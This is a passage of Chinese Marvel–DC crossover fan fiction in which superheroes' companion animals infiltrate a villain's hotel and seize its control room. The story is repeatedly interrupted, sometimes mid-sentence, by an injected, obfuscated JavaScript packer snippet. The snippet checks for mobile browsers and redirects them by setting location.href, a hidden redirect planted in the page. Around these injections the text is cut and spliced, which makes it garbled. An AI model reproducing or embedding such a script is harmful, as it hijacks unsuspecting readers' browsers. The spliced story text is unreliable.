只比巴掌大一点的金丝熊英勇的孤身爬上冰箱，钻进冰冷的小隔间里，蹬着两只后爪全力以赴，努力将甜甜圈推出来给大家分享。 那模样，当真有点戳斯塔克的萌点。 当然，如果它们分享的不是他的甜甜圈，或者它们的代谢能力足以消化甜甜圈的高热量而不是将热量转化为肚子上软软的肉，那斯塔克会更高兴一些。 帕夫去哪了？ 提姆继续翻找周围所有的监控。 化工厂虽然老旧，里面的监控却有在不断更新，基本能做到无死角覆盖，理论上任何人在化工厂内都无所遁形。 前提：那是个人，或者至少是个差不多大的东西。 而帕夫呢？ 那可是一只金丝熊。 比仓鼠大多了，却也比人小了太多太多太多的金丝熊！ 只要它想，对它来说到处都是监控死角。 蝙蝠侠在思考金丝熊故意躲着监控的可能性——它们有这么聪明吗？ 而斯塔克在担心小东西是不是钻下水道里出不来了——也有这种可能性，不是吗？金丝熊又不是小耗子，在下水道迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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等它回到窗口，一根缆绳被丢了下来。 帕夫努力举高它的小短爪挥舞着向多纳滋示意。 透过坏掉的窗户还能隐约看到正拍打着翅膀在帕夫身后悬停的哈瑞肯。 红隼在抱怨：“啾——”沉死了。 以它们的身材来说，搬动一根粗壮的缆绳实在过于困难，哈瑞肯很快就落下去，当多纳滋咬着缆绳，在里面同伴的帮助下半爬半拽的进入室内，就看见哈瑞肯和血雀都落到地上，正张着鸟喙在那喘。 鸟类也是会张嘴吐舌头散热的，只不过那需要热到一定地步，强烈的疲惫，或者是受到很大的惊吓。 室内帮忙扯缆绳的是捷克狼犬。 “汪。”它吝啬的叫了一句：走吧，去地下室，目标在那边。 多纳滋晃着尾巴对捷克狼犬表示感谢，捷克狼犬却只是偏开脑袋，不削一顾的模样，矜持的表达出自己只是因为任务需要更多的战斗力，才会帮多纳滋进入室内，仅此而已。 多纳滋不懂它在强调什么，持续的甩着尾巴表达友好。 捷克狼犬：…… 你摇尾巴的风声吵到我了知道吗？ 捷克狼犬加快了脚步。 10.第十章 小动物们在提姆的指引下一路往下走，要去地下室必须走中央电梯，期间还会遇到许多敌人，它们协力合作，很快将剩余的“稻草人”清理干净。 一楼完全净空。 “这效率……”斯塔克都看呆了。 蝙蝠侠似乎也有些微妙的心动，但想到附加的麻烦，还是放弃了心中突然冒出的提案。 如果所有的超级英雄，或者至少复仇者联盟与正义联盟能强强联合，能否像小动物们清理化工厂这样，清理掉世界上的不净呢？ 也许可以吧。 也许只是送给敌人更多的把柄，并在自己内部引发更多的矛盾。 正义联盟中的外星人太多，许多都是未上报的人员，一旦双方合并，这部分外星伙伴如何安排就成了巨大的问题。 还有绿灯侠这种根本不服从地球政府的存在呢。 “如果我们的社会也像它们这样单纯，是不是比较好？”斯塔克在那思索。 只是脑子里一段无厘头的奇思妙想罢了，反正现在也没有工作要做，斯塔克完全是大脑放空顺便吸水獭的状态。 但蝙蝠侠还是打破了他的幻想：“如果人类如此单纯，社会与科学根本不可能发展到如今的情况，说不定到了2000年都还没开启一场工业革命” 斯塔克：“……也不至于。” 科技大爆炸引发出战争的欲望，还是战争的需求推动了科技爆炸？ 谁知道呢。 只有一点是肯定的。 “错的东西就是错的，无论它附带的东西有多好。” 说着，斯塔克回头看向自己的钢铁机甲。 这一看，直接给斯塔克看得一个激灵。 “塔塔呢？” 刚才还在钢铁机甲上爬着玩的塔塔此时已经不见踪影，连带一起不见的还有蝙蝠侠的黑色大美洲豹布莱克。 蝙蝠侠：“……” 他看向斯塔克。 布莱克一向是不让人操心的，结果水獭刚来没两个小时，居然把布莱克拐走了？ 斯塔克给看得额角冒汗。 “呃，你知道的，我的伴生是只锈斑猫，这只水獭是蜘蛛侠的伴生，没事，不气，回去我帮你训他。” “说起锈斑猫，到现在都还没找到呢……”提姆在旁边小声的提醒，“斯塔克先生知道它可能去哪吗？” “不知道，”斯塔克跟着转移了话题，“它都没来过哥谭。” 理论上这里没有锈斑猫熟悉的地方，如果没有跟着大家一起团体活动，那就是在找塔塔的路上迷失了方向……？ 那也是有可能的。 对于一只小猫来说，人类的城市确实很大。 人类不知道这只小猫已经凭借自己的四只爪子跨过连接着哥谭市与韦恩庄园之间的桥梁，它走近庄园旁侧的树林中，在这里找到了它的目标。 锈斑猫警惕的低头抬眼，以一种随时可以立刻扑出去攻击的姿态盯着面前的巨大黑影。 黑影正垂首看着它。 并露出了脑袋顶上的那只水獭。 “嘤嘤~”你找到我啦~ 塔塔用前爪扒拉着布莱克的两只耳朵，快乐的向锈斑猫打招呼。 锈斑猫：…… 锈斑猫：“呜哇——”你还知道我在找你啊—— 气到骂骂咧咧。 塔塔被吼得秒怂，同样在攻击范围内的布莱克也默默背了耳朵。 小不点。 那么小一只，居然这么凶。 布莱克被锈斑猫吼了一脸也不生气，体型大的生物情绪往往更加稳定。 一是自身体型优势放在这里，能威胁到大型动物的敌人很少，它们不必活的一惊一乍的， 二则是因为大型动物活动的时候更消耗能量，大型食肉动物会精准计算自己每次出击消耗的热量和能从捕猎行为中获得的能量，只有足够合适的时候，它们才会考虑出击。 从体型上，锈斑猫很难威胁到黑美洲豹。 从捕猎收益上，锈斑猫还不够黑美洲豹塞牙缝的。 所以布莱克没有任何感觉，只是张开嘴，用体型差来无声威胁。 这招很有效，锈斑猫立刻做出反应，却没有退缩，反而是弓起了背。 这小东西是真的打算进攻自己。 布莱克意识到了这点。 对于布莱克来说，这无疑是有趣的，它发出短促的哼笑，等待锈斑猫的进攻。 但塔塔打断了它们。 “嘤嘤嘤。”不要打架嘛。 圆滚滚的水獭从布莱克脸上滑下来，落在在它们中间翻来覆去的打起滚，圆润乖宝的撒娇卖萌非常有用，至少锈斑猫很吃塔塔那一套，没一会就收起进攻的架势。 小东西收了进攻的打算，布莱克自然也就算了。 大黑豹舔了舔牙齿，那模样看着仿佛还有些遗憾。 从诞生到现在，布莱克担任的角色一直是黑影里恶魔一般的存在，蝙蝠家里面无论是人还是其他伴生动物，多少都是怕它的。 伴生动物怕布莱克是因为布莱克巨大的体型。 那些两脚着地的人类会对布莱克持有敬畏，则是因为它的孵化者。 蝙蝠侠。 布莱克百无聊赖的打了个哈欠。 看着塔塔抱住了锈斑猫开始打滚，两只小东西滚成一坨，布莱克低下脑袋：“哇呜？”想找点事情做吗？ 在得到塔塔的疯狂点头，和锈斑猫充满疑问的注视后，布莱克抬起后爪挠了挠痒，看似不经意的将通讯设备一爪子送走，然后低头对它们呜叫： 稻草人只是个开胃菜而已，他背后另有主谋，我听到那些人类在讨论这个，他们将行动定在下半夜，也许我们可以先行一步。 人类顾虑的事情很多。 调配和轮班。 白天提姆和家里的小弟弟达米安都要去上学，而蝙蝠侠明早也要用布鲁斯·韦恩的普通人类身份上班开会，唯一有空的迪克在等杰森抽出时间，他们两将以夜翼和红头罩的组合去收拾幕后主使。 好像是叫做黑面具的吧。 一个□□之类的东西。 在黑面具的指示下一个高层人员资助了稻草人，他们匿名买下这座废弃的化工厂，让稻草人在这里继续他的恐怖实验。 听人类对话中所表达出的意思，黑面具本来就跟红头罩不对付，而黑面具又是盘踞在哥谭多年的地头蛇，虽然黑面具帮是近几十年才组建的，可作为首领的黑面具罗曼·西恩尼斯却也是身价不菲的贵族出身，家族和势力盘踞在哥谭多年，是仅次于韦恩的存在。 显然，想要除掉这么一个牢牢扎根在哥谭这片黑色土地的坏人并不容易。 也是因此杰森才同意和迪克合作一次——杰森和迪克的关系不错——大哥迪克和家里其他成员的关系都不差。 布莱克觉得人类太磨叽。 它本来也没有兴趣干预这些，可现在既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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锈斑猫回忆起塔塔的孵化者，那只叫做彼得·AKA蜘蛛侠·帕克的人类。 嗯…… 搞不好他们属于对自身的魅力毫无感觉的类型？ 塔塔是否根本不知道，当它这样看着别人的时候，多么迷人呢？ “喵？”你知道你很好看么？ 锈斑猫直接问了。 “嘤叽！”知道哦！娜塔莎姐姐还夸塔塔是只小魅魔呢！ 锈斑猫：……？ 魅什么？ 这是应该用来形容一只水獭的词……？ 布莱克：…… 什么魔？ 这么圆的一只水獭怎么好意思说自己是魅魔，引起食欲也算是吸引力吗？ 在这方面布莱克与众不同，它是完全不吃那一套的，包括家里那只带着天然亲和力的蓝色极乐鸟也无法影响他，人类在讨论什么精神效果的时候，布莱克就注意到了，那些东西对自己毫无作用。 也许自己生来是为了克制这些拥有强大精神能力的个体的？ 布莱克思考着，爪子上无聊，就扒拉了塔塔两下，似乎在研究看起来就很美味的水獭到底能不能吃。 这行为立刻引起锈斑猫的不满。 巴掌大都没有的小猫对着布莱克发出代表警告的哈气声。 布莱克哪里会怂它，抬手就去按锈斑猫，被锈斑猫灵活躲开，爪子上还挨了一下。 完全不疼。 11.第十一章 锈斑猫能犟过小水獭么？ 答案是：不行。 5分钟后布莱克顶着水獭领着锈斑猫往黑面具控制下的区域走去。 黑面具的组织几乎是在哥谭建立后不久便盘踞在此，最初他们是合法的，作为哥谭建设者之一，黑面具的祖先合法拥有着其中一部分区域，就好像韦恩拥有另外一片那样。 随着时代变化，黑面具的家族转入地下，为了更多的权利和利益，干起了非法买卖。 说起来，哥谭最初的四个家族中，两个转成□□，一个远走他乡，如今还在试图用正经的手段管理这座城市的，似乎也只剩下一个韦恩了。 锈斑猫听的津津有味。 “喵？”蝙蝠侠就是那个韦恩？ 布莱克点了点头。 “喵呜？”那他和黑面具还算是同伴么？毕竟他们的家族曾经联合过。 “呼……”布莱克轻微的喘了一声，告诉锈斑猫：不，他们不是，从他们的父辈开始就不再是可以互道日安的关系了。 当布莱克试着说比较长的句子时，它的方式比其他小动物更接近人类，有种文绉绉的感觉，锈斑猫转着耳朵，似乎在学习这种交流方式。 很有趣，也有种特殊的格调。 锈斑猫不知道的是，这并非受到蝙蝠侠的影响。 ——布莱克的说话语气来自负责照料它的人，也是蝙蝠家族中最负责任的那个人——阿尔弗雷德·潘尼沃斯，常用代号便士一，族内昵称管家侠。 家族里几乎所有的伴生动物日常生活都靠着阿尔弗雷德的照顾。 它们会叫他阿福，就像那些人类幼崽呼唤他时那样，乖巧的昂着头去唤他。 就连布莱克也不例外。 它喜欢阿福。 虽然布莱克并不能确定这种情绪是因为阿福负责了食物并提供了舒适的环境，还是因为来自它孵化者潜移默化的影响，又或者那是种真实的喜欢？ 都无所谓。 布莱克对现在这个情况十分满足。 它想跟阿福永远平静快乐的生活在韦恩庄园里，并平等的讨厌任何在哥谭搞破坏，影响他们安宁生活的垃圾们。 锈斑猫懂了。 “喵。”所以你才会嫌弃人类的计划太慢，想尽快解决这个问题。 布莱克点了点头。 在这点上锈斑猫支持布莱克的想法，本来只是被迫陪崽子来玩一趟的，现在锈斑猫的态度也认真了许多。 虽然这是哥谭的事务，可它既然是合理的，自己也有能力和空闲，那么帮个小忙也不算什么越界行为。 何况布莱克作为本地猫已经邀请了它。 锈斑猫想着：猫科的美洲豹怎么不算是只猫呢？ 它就是。 所以，它们是同类。 同类之间互相帮助那是天经地义的事情。 锈斑猫昂起了头，哪怕布莱克走一步它要跑十步，也依然展现出了雄赳赳气昂昂的宏大气场，脚下生风的往前小跑着前进。 哥谭说大不大，说小也不小，加上布莱克有意绕开人类的目光，这就导致它们花了不少时间才终于到达黑面具控制的城区内部。 布莱克回忆着从提姆那边听到的线索，它们的目标此时应该住在安保森严的酒店内，也是因此迪克和杰森才会在行动的时间确定在后半夜，到时候目标人物会暂时离开酒店，前往码头洽谈生意，无论是在半路下手，还是在对方谈生意的途中将其和交易对象一网打尽，都是个不错的主意。 锈斑猫认为那听起来完全没有问题。 “喵~”但我可以做的更快更好~ 布莱克歪头看它。 “喵呜~”我可以去保安室黑掉监控系统和报警系统，然后我们直接杀去找目标，你知道他住在哪里吗？ 说到这里，锈斑猫顿住，然后摇头。 好像不太行，目标很可能在它们杀过去的路上就跑掉了。 翻窗、逃生通道…… 它们需要兵分两路，还要有空中单位支援。 可它们三只恰好都没有翅膀。 布莱克轻呼出声音：知道，而且我还知道那座酒店拥有最完善的安保系统，也就意味着如果我们能得到那个，就能控制那座酒店。 “喵？”锈斑猫顿时来了兴致：在哪？ 布莱克：地下中控室，要走很小的通风设备潜入，人类放弃攻陷那里就是因为无法潜入，而强攻的风险太大。 塔塔：“嘤嘤？”不然我来开路吧？我们直接冲进去！ 锈斑猫也上了布莱克的脑袋，然后用爪子按住了蠢蠢欲动的塔塔，它更赞同布莱克的那个提议，控制中控室，拿到酒店的控制权，封锁门窗后它们就能安全的收割目标。 “喵~”可以~我们走吧。 它们迈着轻快的步伐往酒店去了。 大一点的脑子果然好用，布莱克想出来的办法还是很可靠的。 锈斑猫舒服满足的咕噜出声。 布莱克没说的是这其实是人类想出的办法。 蝙蝠洞内，家族成员进行了长达一个小时的讨论。 无数项提案中就包括了让血雀或者华美极乐鸟携带骇侵用微型硬盘潜入中控室，可考虑到里面可能也会有人把守，如果使用催眠药物则可能连鸟一起迷倒，这样计算下来风险过高，人类一致认为没有冒险的必要。 他们可以等到下半夜对方出来的。 如果错过这次，他们可以继续等待下次机会。 布莱克舔了一下嘴，有点烦躁，想吃人的那种烦躁。 原本计划中布莱克的搭档将会是血雀，或者华美极乐鸟，它们两谁能不动声色的脱离人类的视野范围，谁就会赶过来和布莱克合作。 可现在看来，它们两只都无法不动声色的抽身，布莱克这才给自己找了新的搭档。 至于那两只鸟，布莱克相信它们足够聪明，知道这时候该做的是帮忙拖延时间。 两只鸟确实知道，可这要求也确实难以达成。 几乎是布莱克那边监控不再移动后的下一个瞬间，蝙蝠侠就意识到自己的伴生动物要出去作妖了，立刻派出身为罗宾的达米安出去寻找布莱克的下落。 达米安是家中的小弟弟，精通和动物沟通的能力，就算对方不是伴生动物，他也能与其相处愉快，这份独天得厚的特殊能力在同伴生动物相处的时候也能发挥最大的效力。 不夸张的说，小动物们都喜欢达米安！ 也正是因为了解那些小动物，达米安才清楚，自己今天的任务注定无法完成。 布莱克可不是一只会给人类追踪上的豹子。 哪怕是钢铁侠亲自参与搜索，也不能为他们增加少许胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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锈斑猫一直在阻止塔塔和这里的耗子对上，那些耗子的体型逼近成年的家猫，几乎和塔塔不相上下，每一只拎出来都比锈斑猫大了好几圈，当然不怕锈斑猫的恐吓。 塔塔不干了，当场就要撸袖子揍老鼠。 但是锈斑猫嫌脏，利落的用爪子抠了两只老鼠的眼珠，成功吓走其他老鼠，这才让接下来的路程不再那么闹腾。 在低温中这么前后忙活一圈，现在又打了个喷嚏。 难道是感冒了？ 布莱克微弱的先后摆了下耳朵，在隐蔽的观察锈斑猫的状态。 锈斑猫注意到了，对它摇头：“喵。”没有，我们这样的存在只是看起来和普通小动物一样，实际上不会感冒也不会闹肚子。 斯塔克存在电脑中的数据是这么告诉锈斑猫的。 然而斯塔克本身还对这份数据存疑，依然在不断地研究。 可锈斑猫知道，它们就是这样的存在。 它们可不是为了将生命消磨在病痛中才来到世界上的，它们的诞生，和随之而来的一切，都是为了其他的事情。 两只猫科对上了视线。 从彼此的眼睛里都能读到一份笃定，以及一份更加巨大的疑惑。 它们到底为何而来？ 别的不说，能量至少应该是宏观守恒的吧？ 到底是什么代价，换来了它们的存在？ 12.第十二章 这段下水道很宽敞，高高的台子将水流完全隔离，整体来说还是安逸舒适的，三只小动物边走边聊，沿着下水道来到目标酒店的正下方。 然后它们一起抬头。 金属的梯子，圆筒的直管，和顶部看起来很沉的盖子。 那东西力气小一点的人类都搬不动，更不要说是小动物了。 但塔塔有自信。 “嘤！”交给我吧。 它从布莱克口中拿出了自己顺手捡来玩的撬棍。 这棍子还挺干净，而且很新，都没有锈，塔塔拖着它跟个人似的只用两只后脚赶路，跌跌撞撞，还差点掉队，闹得布莱克没办法，张口给它叼着，这才终于消停了。 然后再指挥布莱克叼来一根同样是金属材质的长杆，三只小动物合力把长杆捅上去，由力气最大的布莱克负责推动，用它抵着盖子的边缘，将它撬开一点点，塔塔见缝插针，立刻将撬棍塞了进去。 “呜。”咬着长杆的布莱克发出一点动静：这个盖子没那么沉。 正在调整撬棍的塔塔也在点头：“嘤。”它都没卡死。 撬棍固定，锈斑猫叼来第二根撬棍，同样固定。 当缝隙够大的时候，塔塔就能将自己也塞进缝隙里，用力一拱，直接将盖子整个拱翻，然后率先爬出去。 成功回到地面的塔塔惊讶的发现自己并没有出现在街角或者后厨之类的地方。 它居然到了个空置的房间中。 也不是完全空置，周围还有些武器炸弹什么的。 “嘤……？”怎么回事？ 锈斑猫第二个钻了出来，看了一圈就明白了：“喵。”这里是他们的紧急撤离路线，所以放了些备用的军火在这里，一旦要紧急撤离，就能直接从这边拿着武器离开。 难怪刚才那条下水道这么干净，一点杂物都没有，气味不算太糟糕，盖子没有锁死，也不算沉重，从下水道一路走过来还能找到各种可以顺手拿来揍人一顿的东西。 看来这家酒店的老板本身也不清白啊。 锈斑猫轻微摇晃着尾巴。 周围安全，两只小动物一起围着洞口蹲等布莱克上来。 体型庞大的黑色美洲豹想要通过这个洞口可不容易，特别是现在它必须要爬一段垂直向上的梯子…… 布莱克面瘫着脸，折腾了好一会才勉强钻出一颗大黑脑袋。 然后艰难的把肩膀探出来。 落在洞里的两只后腿疯狂蹬蹬，拼了老命才将后半身也送进房间里。 不容易。 塔塔看着都感觉累得慌，从角落里扯来一条毛巾递给布莱克。 布莱克看着那条可能并不是那么干净的毛巾，默默往后退了半步。 洁癖。 不严重，但还是有点的。 因为阿福不喜欢脏爪爪踩在地毯上。 家里无论鸟还是猫狗，回家都要主动在玄关或者窗台上等着擦爪爪的。 这点上复联那边也是一样，三只小动物顿时找到了共鸣，嘤嘤喵喵的聊起不同质感的毛巾和水温带来的不同体验。 塔塔凉的就OK，湿的最好，干的也行，它都不挑。 锈斑猫和布莱克则更喜欢温水浸泡后再拧干了，只带着一点湿润感的毛巾。 至于现在这个过于有限的情况，比起一条不知道是否干净的毛巾，它宁愿选择在地板上蹭蹭爪子，勉强应付一下算了。 房间门是虹膜锁，但从里面可以直接打开，布莱克有体型优势，轻轻松松就能按下门的把手，体型最小的锈斑猫先一步钻出去侦查，然后是塔塔，只是塔塔的脑袋刚出来，就被锈斑猫用后爪给蹬回房间内。 “喵。”门外传来锈斑猫超级小的叫声：你们等着，这里有监控，我先把它处理了。 抱着脑袋的水獭乖乖退回屋子里。 布莱克歪着脑袋，低头问塔塔：它要怎么黑监控？ 塔塔哪里知道，摇头晃脑的：“嘤？”好像是托尼尼给了它什么好东西来着？ “喵嗷？”布莱克又问：用人类的东西不会暴露我们的所在地吗……？ 塔塔不确定，而且塔塔觉得那不重要：“嘤嘤~”托尼尼可好了~才不会因此骂我们呢~ 布莱克：…… 豹豹叹气。 那才不是重点。 算了。 布莱克对斯塔克的印象还算可以，而且听塔塔和锈斑猫的对话，能感觉到那个叫做托尼·斯塔克的人性格还算不错，对小动物也十分尊重，最重要的是，那人和布莱克的孵化者不同，不是个控制狂。 而且它们都进来了，就算那个斯塔克立刻冲过来，也不能只把它们打包带走，无论如何，提前收割黑面具成员的任务是肯定能完成的。 布莱克想着，觉得变成那样它也可以接受。 两只乖乖坐等锈斑猫收拾好麻烦，得到信号后才挨个走出房门。 走道安全。 电梯口，安全。 从电梯门上的标记能看出他们现在正在地下1层，离他们目标的中控室并不远，锈斑猫喵喵叫着给两只小伙伴做说明： “喵。”这是特殊电梯，内部用的，正好能到中控室。 锈斑猫示意布莱克去按电梯。 大个头是真的好用。 锈斑猫拒绝承认自己是有点点羡慕的。 电梯内等待下行的时间里，锈斑猫跟它们讲了一下现在的情况。 锈斑猫利用斯塔克交给自己的病毒程序黑下监控设备，它们大概有20分钟的时间可以不受监控限制自由行动。 “喵。”20分钟内必须找到中控室，到那里就能完全控制这栋大楼了。 锈斑猫对此十分期待，尾巴翘得很高很高，尖尖处一摇一摆，即将到来的挑战没能给锈斑猫带来哪怕丁点儿的压力，只是让它进入了兴奋状态。 塔塔也十分亢奋，直立起来挥舞两下前爪。 这时候的水獭看起来就像是一只小小的拳击手。 手摸不到头顶没关系，能打到敌人的脸就行。 布莱克：“……” 它觉得根本打不到。 倒是锈斑猫和斯塔克一起看过自然界中普通水獭□□斗殴打群架的画面，锈斑猫知道水獭的前爪还算有用，还是能扒拉到对手的。 虽然那看起来确实没有很疼。 “叮。” 电梯到达-3层，开门就是三条走道，电梯的正前方以及左右两侧。 三只小动物互相看了一眼，不约而同的分散开。 塔塔一个冲锋闯入正前方的走道。 锈斑猫搞定了监控，却无法搞定巡逻人员的眼睛。 小动物要面对的第一个问题，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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它的眼睛那么明亮，漆黑的珍珠上泛着水润的光，在这暗无天日只有该死的白光灯不分昼夜刺痛眼睛的该死的地方，这只水獭的眼睛就是启明星，是救世的圣人在低声说着引导的话语。 谁会拒绝这份指引？ 它在带他往天堂去啊！ 保安看起来恨不得将水獭一把抱到怀里狠狠搂紧，又像是生怕自己冒犯的举动引起水獭的讨厌，因此在努力克制自己。 也许是太用力了吧，脸上的表情都扭曲了起来。 塔塔：…… Emmmmm。 这个人类好像有点问题。 怎么眼神怪怪的，期待、幸福、满足、沉迷…… 还有些乱七八糟的怪东西。 狂热…… 不、不对劲！ 塔塔被保安过分的反应吓到，决定溜了溜了。 在塔塔试图“说服”的所有人中，这家伙是反应最大的，塔塔曾经用自己的眼睛来“说服”斯塔克大厦的员工，那同样是易如反掌的事情，只是对方的反应会正常很多，不会这么的……疯狂。 难道是因为这次自己特别努力的关系……？ 塔塔还无法确定，也没想那么多。 它的注意力都在任务上——找一扇特殊的门，就像托尼的实验室那样特殊的门。 那扇门后面很可能就是中控室！ 13.第十三章 没有获得关键道具地图的三只小动物兵分三路，在-3层中乱串。 锈斑猫体型足够小，能从大部分人类的视觉死角中溜过去，而布莱克则比较麻烦了，它不能像锈斑猫那样快速路过，也没办法如塔塔那般冲锋后果断使用魅惑——谁看到那么一只大黑美洲豹和它黄色的眼睛，只会想到黑夜里的恶魔，而不是什么天使探出的手指。 所以布莱克的手段是最干脆利落的。 潜伏，等待。 在人类不注意的一个转头快速接近。 然后用自己大大的肉垫给他一个大逼斗！ 一爪子糊晕！ 布莱克的爪子非常沉重，当它决定一巴掌撂倒对手的时候，就连蝙蝠侠也没法在不穿战甲的情况下硬接这一下，更何况区区安保人员。 这可怜孩子甚至都没意识到发生了什么，整个人就已经掀翻了过去。 昏迷的安保人员倒在地上，安详，平静，陷入纯粹的黑暗中，他在黑暗里沉睡，没意外的话大概需要数个小时才能醒来。 布莱克对此十分满意。 而锈斑猫则是它们中进度最快的那个。 没有和任何安保人员纠缠，而是在他们视线角落静悄悄路过的锈斑猫从这些保安的鞋跟后方饶过，很快探索到走廊的深处。 走道两侧那些看着平平无奇的门都被它无视了，锈斑猫就继续往前。 直走后右拐，然后又是一次右拐。 看来最后它和布莱克能和塔塔汇合。 锈斑猫停在三岔路口，在直走还是左转时选择了左转。 “喵。” 一声短促的猫叫。 塔塔正用前爪摸着一名实验人员的脸侧，这人倒地不起，旁边还倒着一名保安，他们两个被塔塔撞保龄球似的撞倒，断了骨头，现在无法行动，又在塔塔的安抚下维持着安静，像是两个巨型人偶娃娃。 “喵——” 锈斑猫的叫声从身后传来。 塔塔回头发出短促的“嘤嘤”声回应。 而在塔塔正面的就是它们的目标：一扇非常特殊的，一看就知道它与众不同的门。 锈斑猫跳上布莱克的脑袋，布莱克抬起脑袋，将它送到门锁附近，锈斑猫就昂起小鼻尖去轻碰虹膜锁。 斯塔克藏在锈斑猫身上的纳米机器人立刻运作起来。 同时，斯塔克的声音也出现在了锈斑猫耳中，那不是真实的对话，而是提前录制好的一段音频。 “让我猜猜，遇到麻烦了？别担心，爸爸马上就来，如果几秒钟之后我没有出现，也许是距离太远了，也许是你所在的地方传不出信号，无论是哪种情况，现在立刻找一个没人能钻进去的地方躲好。” “我会找到你的。” “……” 孵化者的声音在耳边安抚着猫猫，而正处于捕猎情绪中的锈斑猫只是轻微的哼了一声，尾巴尖因为愉悦而扬起。 作为一只有铲屎官兜底的猫，锈斑猫可以说是无所畏惧。 首先，它很厉害，很聪明，轻易不会失败。 其次，就算它失败了，那又怎么样呢？ 托尼会来找它的。 就算托尼暂时没法过来，锈斑猫也有自信自己可以解决当下的问题，然后带着猎物回去投喂托尼。 内心美滋滋的锈斑猫摇晃着尾巴。 纳米机器人自带的病毒很快搞定了面前的系统，虹膜锁扫描了锈斑猫的眼睛，居然也算它通过检测。 “啪”的一声脆响，锁开了。 塔塔在给锈斑猫鼓掌，啪啪啪的，特别热情。 布莱克则用爪子扒拉门把手，这个门有些沉重，它将锈斑猫放下去，张口咬住门的把手向后拉拽，用力将门扯开，塔塔和锈斑猫钻进去后从里面用力抵住门。 这边布莱克一松嘴，它们也撑不住了，顶多拖延个两秒时间，不过这对布莱克来说已经足够，它迅速用头从侧面拱住大门，然后用肩膀抵着，找准角度后一个箭步冲入门内，下个瞬间门在黑色美洲豹的身后合拢，发出轻微的响声。 锁死了。 不过没关系，出去的时候再开一次就好。 三只小动物都不觉得这值得关注，它们开始探索这间特殊的房间。 巨大的屋子里放置着四个高大的货架，货架共有三排，每一排都放了四个长方形的东西，这东西是竖着安置的，正面闪着微光，背后接了好几根不同的电线，这些线纠缠在一起向中央的主控台延伸，看起来有种错乱的科技感。 这是一种硬盘？还是叫做服务器的东西？ 斯塔克没有专门介绍过这些东西，锈斑猫只是在人类的对话中捕捉几个关键字，此时也无法将那些东西完全和面前的物件对上号。 “喵。”锈斑猫叫了一声：如果我们要解决它们，只要切断所有的线就可以。 布莱克看向锈斑猫：但我们要控制它。 之前锈斑猫黑掉监控给它们争取到20分钟的时间，寻找中控室的进度非常顺利，总共用了5分钟不到，现在还有15分钟的时间呢。 毁掉这里是逼不得已的选项，而它们真正想要的是控制这里，从而限制住目标的行动。 锈斑猫点了点头，它跳上主控台，低头用鼻尖轻触一个插口，将自己身上藏着的纳米机器人再次释放。 同时，它又一次听到了托尼的声音，还是那叮嘱。 猫心情愉悦，轻缓的摆动着它的尾巴尖。 别担心啦，很快我就会带着猎物一起回去的。 随着纳米机器内部的病毒上传完毕，休眠状态的控制台屏幕突然亮起。 锈斑猫立刻进入战斗模式，熟练的在各种按钮之间跳跃，踩踏它们，输入指令，它只记得一些，从总数上来说其实并不是很多，比起真正的黑客还差了很远，但有斯塔克的病毒在这里帮忙，还有一小段复制于AI崽崽的程序代码同病毒一起上传，作为辅助程序运转，双管齐下，足够锈斑猫搞定这里的中控系统了。 在锈斑猫忙碌的期间内，布莱克选择守在门口，以防有人袭击。 塔塔则开始了它的探索之旅。 中控室的房间并不大，和复仇者大厦内部的控制室或者斯塔克的实验室相比，简直可以说是逼仄的地方。 而且内部规划的也不怎么样。 作为中控室的同时，它还被用于存放资料。 塔塔最角落的墙角处找到一片布局不太一样的区域，这里有把小椅子，一张小桌子，桌子上放着台灯，墙边则靠着一架书柜。 许多资料堆在这里，其中一个文件夹非常的厚，应该叫它“文件箱”更加合适。 上面印着“复仇者联盟”。 塔塔立刻认出了那个大写的“A”。 在哥谭居然有人搜集复仇者联盟的情报？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082142|162959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔塔的注意力被这东西牢牢吸引，手脚并用的爬上书架，咬住了那个文件箱的一角，然后用力往后拖拽。 “Duang——” 好响的一声。 负责控制台的锈斑猫只是往后摆了一下耳朵，不为所动的继续忙碌。 布莱克则走过去查看。 “喵？”你在做什么？ 豹子的喉咙结构允许它们发出柔和的声响，包括类似猫咪轻轻咪嗷的那种动静，布莱克也是会装乖的，想要压低声音的时候自然也能发出猫叫。 就是会夹的嗓子疼。 布莱克夹了一下就放弃了，难受，转而从喉咙深处发出呜声，表达自己的询问。 它面前的地上躺着个文件盒，已经横过来了，上面也有个锁，虽然是比较简单的密码锁，可凭塔塔的手段依然打不开它，水獭正急得上牙啃呢。 布莱克走近了些，见文件箱是塑料的，就示意塔塔让开。 布莱克也打不开密码锁，它的解决方法是用爪子开路，锋利的爪子从文件箱的侧面切开一道长长的裂口，这样里面的文件就能取出来了。 第一张就是蜘蛛侠的。 